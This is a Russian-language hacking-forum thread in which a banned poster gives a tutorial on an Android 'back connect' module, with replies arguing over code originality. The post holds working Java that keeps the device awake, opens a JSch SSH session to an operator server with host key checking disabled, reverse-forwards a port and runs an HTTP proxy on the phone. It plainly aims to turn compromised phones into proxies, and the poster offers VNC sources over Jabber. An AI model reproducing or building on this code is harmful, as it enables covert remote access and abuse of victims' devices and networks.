• XSS.stack #1 – первый литературный журнал от юзеров форума

back connect android на примере proxy

FreeWar

ripper
КИДАЛА
Регистрация
12.11.2018
Сообщения
244
Реакции
122
Пожалуйста, обратите внимание, что пользователь заблокирован
Последнее время все спрашивают про android bk. Как сделать прокси? или еще что-то. В общем посидел и надумал набросать статейку универсальную. Она будет делиться на 2 части. Первая это написание универсального бк. А вторая это как сделать прокси из этого.
unnamedsdfsdf.png

Нам потребуется следующие модули
1. littleproxy - сервер прокси ждя андроид
2. jsch - ssh клиент для android

А так же
1. Любой линукс сервер с установленным ssh сервисом
2. Немного терпения

Шаг первый и немного теории
Чтобы сделать обратный конект, без всякого гемороя, мы будем использовать тунелирование. Да да то самое тунелирование ssh протокола. В чем прелесть? Мы можем перекинуть любой порт на сервер, будь то VNC,Proxy,SSH server и так далее. Да если вы запустите на телефоне ssh сервер. Вы можете им управлять через ssh. Передавать файлы, выполнять команды и так далее. Кому интересно я оставлю ссылку в конце. И так наша задача запустить какой-то сервис или уже использовать текущий запущенный и передать этот порт на сервер.

Теория R port forwarding взятая с хабра
0ed83476e544420facb0898f014c854a.png

После успешного подключения, на «host1» SSH-сервер начинает слушать порт 9999. При подключении к порту 9999 на «host1», SSH-клиент на «host2» устанавливает соединение с localhost (коим и является для себя самого «host2») на порт 5432 и передает по этому соединению данные, принятые ssh-сервером на «host1» на порт 9999.

Я реально сам долго допетривал по молодости когда нужно L когда R. Чуть не спился) ахах

Нам нужно смитировать команду
ssh -R RANDOM_PORT:localhost:NEED_PORT user@server_ip

Перейдем к коду)

Добавляем зависимость
implementation group: 'com.jcraft', name: 'jsch', version: '0.1.54'

Функция конекта
public static void executeRemoteCommand(Context cnt,String username,String password,String hostname,int port) throws Exception {
Random r = new Random();
int portp = r.nextInt(20000 - 8000) + 8000;
int ports = readIntConfig(cnt,"port");

PowerManager powerManager = (PowerManager) cnt.getSystemService(POWER_SERVICE); //делаем так чтобы приложение не заснуло
PowerManager.WakeLock wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
"MyWakelockTag");
wakeLock.acquire();

// proxy start here

JSch jsch = new JSch();
Session session = jsch.getSession(username, hostname, port);
session.setPassword(password);

Properties prop = new Properties();
prop.put("StrictHostKeyChecking", "no");
session.setConfig(prop);

session.connect();

session.setPortForwardingR("*",ports,"127.0.0.1", portp);
while(true){
session.sendKeepAliveMsg();
}
}

Открываем конект
new AsyncTask<Integer, Void, Void>(){
@Override
protected Void doInBackground(Integer... params) {
try {
executeRemoteCommand(cnt,"root", "password","ip_server", 22);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}.execute(1);

После запуска этого кода, мы создаем поток, в котором будет открыт конект на сервер и пробросится порт, а так же в цикле будет отсылаться keepalive чтобы не отвалился конект.

Подключаем наш прокси
implementation group: 'org.littleshoot', name: 'littleproxy', version: '1.1.0-beta1'

Вставляем код старта прокси где коментарий в коде выше
org.littleshoot.proxy.HttpProxyServer server;
try {
server = DefaultHttpProxyServer
.bootstrap()
.withPort(portp)
.start();
}catch (Exception e){}

Собственно и все, теперь мы создали конект, запустили прокси и прокинули порт. Можно раслабить булки. Но так же можно прокинуть любой другой порт с телефона и юзать его. Теперь мы просто подключаемся к серверу на нужный порт и все. Так же с помощью данной библиотеки можно выполнять любой код на сервере, как в консоли. Возможностей где развернуться очень много :)

Есть один ньюанс, и все порты пробрасываемые через ssh протокол будут создваваться на localhost и вам нужно будет их пробрасывать на внешний. к примеру использую команду redir или iptables правила.

Используемые материалы
* https://github.com/adamfisk/LittleProxy - митм прокси
* http://www.jcraft.com/jsch/ - ssh клиент
* https://github.com/stepinto/android-sshd - вдруг кто захочет использовать ssh для управления телефоном
* https://www.ssh.com/ssh/tunneling/example - мануал по использованию протокола ssh
Последняя ссылка обязательна к прочтению, дабы более ясно понимать

P.S. всем бобра, будут вопросы, пишите, всем с радостью отвечу) кстати кто очень интересовался VNC под андроид, есть тоже либа и можно так использовать ее ;) нужны исходники, стучите в jabber отдам.
Ну и кому не жалко можно на пиво
btc
1DkYYgfCLBE44xN7BPXgLLKEvrTTcygVu6
 
Код знакомый, акасуб писал статью похожую и код на его похож, хотя хз все через jsch делают и кто первый написал тут уже не разберешь, кода тут маловато в статье % 30 от общей массы. Это в обще под сомнением keepalive, судя по коментариям с гугла и Proxy Server что это пару строчек написано.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Код знакомый, акасуб писал статью похожую и код на его похож, хотя хз все через jsch делают и кто первый написал тут уже не разберешь, кода тут маловато в статье % 30 от общей массы. Это в обще под сомнением keepalive, судя по коментариям с гугла и Proxy Server что это пару строчек написано.
хз кто там что пишет. код прокси полноценный, так как используется библиотека. на счет всех хз jsch. основной модуль который у меня используется работает через socket.io и без всяких модулей. материал написан для ознакомления с технологиями и как можно это сделать. но сразу скажу это не топ вариант.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вариант прокси через jsch я написал еще 2 года назад, хз кто из вас там первый скопипастил:smile46:
ну так молодец)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх